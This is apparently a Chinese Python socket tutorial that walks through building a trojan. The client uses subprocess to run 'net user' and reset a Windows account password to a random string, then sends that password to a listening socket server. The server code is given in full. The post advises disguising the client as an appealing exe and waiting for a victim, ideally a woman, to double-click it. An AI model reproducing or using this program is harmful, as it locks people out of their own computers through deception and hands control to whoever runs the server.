对于学习Python这件事来说,很多人都觉得简单,那是因为你从来没有深入过。Python只是入门简单,语法易懂,里面的实现原理同样是门艺术。

今天给大家讲讲socket,但是我知道,说语法你们肯定不爱看,还嫌弃这的那的。那今天就用一个实例来给大家讲讲socket的实际用法。

你是不是心里一咯噔,不就是个聊天窗口吗……对不起,你不爱我了。

我们来用socket实现一个修改windows开机密码的小程序。

1. client端

client端需要让用户来执行,所以当我们写完客户端后,需要包装一下,用什么来包装呢?全网首份Python打包工具Pyinstaller实战指南,如丝滑般体验,了解下。

亲测,有些人的电脑不是Administrator用户,所以需要他们使用管理员权限执行。因为client会调用 dos 命令。

client的逻辑不复杂,核心代码就一句话,通过 subprocess.Popen模块调用windows的 dos cmd,来达到修改密码。

# 控制windows cmd,并修改密码

subprocess.Popen(['net', 'User', user, pwd])

那么user就是你想要修改的用户名,一般有两种操作,一种是直接修改他的Administator,一种就是修改他现有的windows用户。

# 获取计算机用户名

user = getpass.getuser()

密码的话,我们自己随机生成8位a-zA-Z0-9的字符串就好了。

# 生成a-zA-Z0-9的随机密码

letters = string.ascii_letters + string.digits

pwd = ''.join([random.choice(letters) for _ in range(8)])

最后客户端需要把密码发送给服务端,服务端记下来,大功告成。

2. server端

对于server端来说,我们需要做的是通过创建socket实例来接受客户端发过来的密码。

然后需要做到的是死循环。毕竟开一个就关了的事情,你想重复开启server端也是可以的。

这里贴一下server端代码

import socket

# server端同样需要通过创建socket,来监听client请求

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 这里和客户端不一样的是,使用的是bind,代表server端自己的ip port

server.bind(('192.168.31.246', 8080))

# 这里的参数5 代表的是同时监听多少个客户端,如果超过5个,那么第6个客户端会出现响应等待,也就是卡在那了

server.listen(5)

print('starting....')

# 创建socket连接后,会返回连接实例和地址

conn, addr = server.accept()

print(conn)

print('client addr', addr)

print('ready to recv the passwd...')

while True:

# 等待接受客户端发过来的信息

client_msg = conn.recv(1024)

print('client passwd changed: %s' % client_msg.decode())

3. 实战

windows开启客户端


服务端接受


4. 后续

你可以通过打包成exe,然后取个好听的名字,比如:2018年年度十佳车牌。

等待用户双击即可。最好是个妹子,这样不就聊上了🐎~